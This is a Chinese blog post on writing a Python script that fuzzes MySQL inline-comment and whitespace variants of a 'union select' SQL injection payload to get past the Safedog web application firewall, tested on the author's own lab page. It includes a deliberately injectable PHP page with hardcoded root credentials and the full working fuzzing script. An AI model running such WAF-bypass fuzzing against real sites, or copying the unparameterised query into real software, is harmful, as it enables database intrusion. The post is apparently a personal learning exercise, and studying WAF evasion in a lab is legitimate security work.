Python Fuzzing脚本编写学习

Yokeen

2018-06-12

Web安全, tools

你的时间有限，所以不要为别人而活。不要被教条所限，不要活在别人的观念里。不要让别人的意见左右自己内心的声音。最重要的是，勇敢的去追随自己的心灵和直觉，只有自己的心灵和直觉才知道你自己的真实想法，其他一切都是次要。
—– 乔布斯

前言

脚本很简单，练练手。

站点安装了最新的safe狗，简单搭建了一个注入页面进行注入测试。

<?php
$conn = mysql_connect('localhost', 'root', '123456') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");

$id = isset($_GET['id']) ? $_GET['id'] : 1;
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Test demo</title>
</head>
<body>
<?php
echo $sql;
$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "<h3>{$row['title']}<br />  {$row['content']}";
mysql_free_result($result);
?>
</body>
</html>

先关闭WAF，手动测试。

正常。

开启WAF，手动测试。

拦截。

Fuzzing脚本编写

使用MySQL内联注释来对其进行绕过

MySQL注释

/**/

在 /* 后加上! 里边的语句也依旧会执行

1	/!select from xxx*/

url：http://192.168.25.133/sql.php?id=1

编写py脚本来进行fuzzing union和select之间的空格，只嵌套了四层，对这个脚本也还没进行优化，因为收集了另外一些比较好的Fuzz脚本，完了在学习学习

id=1的时候所出现的值为hhhhtest，所以只判断当加入了payload时，此值会不会出现在页面中，以此来判断是否成功

运行脚本前记得把waf的防cc攻击关闭，不然会ban ip

#!-*- coding:utf-8 -*-
#!/usr/bin/env python

import requests, sys

fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','~','@','|','!','%','.','-','+','%00','%20','%09','%0a','%0d','%0c','%0d','%a0']
fuzz_sz = ['']
fuzz_ch = ['%0a','%0d','%0c','%0d','%0e','%0f','%0g','%0h','%0i','%0j','%0h','%0i','%0j','%0k','%0l','%0m','%0n','%0o','%0p','%0q','%0r','%0s','%0t','%0u','%0v','%0w','%0x','%0y','%0z']

fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}

url_start = 'http://192.168.25.133/sql.php?id=1'

lens = len(fuzz)**4
num = 0
#只嵌套了4层
for a in fuzz:
	for b in fuzz:
		for c in fuzz:
			for d in fuzz:
				num += 1
				payload = "/*!union" + a + b + c + d + "select*/ 1,2,3"
				url = url_start + payload
				print("Now URL:" + url)
				print "Process %s / %s"%(num,str(lens))
				# sys.stdout.write("Process：%s / %s \r"%(num,str(lens)))
				# sys.stdout.flush()
				res = requests.get(url,headers=headers)
				if "hhhhtest" in res.text:
					with open('Result.txt','a') as r:
						r.write(url + "\n")